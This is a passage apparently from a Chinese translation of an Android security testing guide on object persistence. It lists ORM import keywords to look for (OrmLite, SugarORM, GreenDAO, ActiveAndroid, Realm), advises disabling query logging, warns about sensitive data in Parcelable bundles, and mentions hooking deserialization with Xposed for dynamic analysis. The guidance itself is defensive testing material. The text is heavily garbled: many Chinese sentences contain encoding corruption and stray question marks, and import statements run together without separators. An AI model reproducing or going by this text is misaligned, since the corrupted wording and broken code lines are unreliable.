import com.j256.*import com.j256.daoimport com.j256.dbimport com.j256.stmtimport com.j256.table\
請確保日志是禁用的。
SugarORM 關(guān)鍵字:
import com.github.satyanextends SugarRecord<Type>- In the AndroidManifest, there will be
meta-dataentries with values such asDATABASE,VERSION,QUERY_LOGandDOMAIN_PACKAGE_NAME.
確保 QUERY_LOG 禁用
GreenDAO 關(guān)鍵字:
import org.greenrobot.greendao.annotation.Convertimport org.greenrobot.greendao.annotation.Entityimport org.greenrobot.greendao.annotation.Generatedimport org.greenrobot.greendao.annotation.Idimport org.greenrobot.greendao.annotation.Indeximport org.greenrobot.greendao.annotation.NotNullimport org.greenrobot.greendao.annotation.*import org.greenrobot.greendao.database.Databaseimport org.greenrobot.greendao.query.Query
ActiveAndroid 關(guān)鍵字:
ActiveAndroid.initialize(<contextReference>);import com.activeandroid.Configurationimport com.activeandroid.query.*
Realm 關(guān)鍵字:
import io.realm.RealmObject;import io.realm.annotations.PrimaryKey;
Parcelable
當(dāng)敏感信息通過包含一個可分配的包的包中存儲時,請確保采取適當(dāng)?shù)陌踩胧?。使用顯式的intent,并在使用應(yīng)用程序級IPC時驗(yàn)證適當(dāng)?shù)母郊影踩刂疲ɡ?,簽名?yàn)證、int權(quán)限、加密)。
動態(tài)分析
有幾種方法可以執(zhí)行動態(tài)分析:
對于實(shí)際的持久性:使用數(shù)據(jù)存儲章節(jié)中描述的技術(shù)。 對于基于反射的方法:使用xposed來hook反序列化方法,或者向序列化的對象添加不可處理的信息,以查看它們是如何處理的(例如,應(yīng)用程序崩潰還是通過豐富對象可以提取額外的信息)。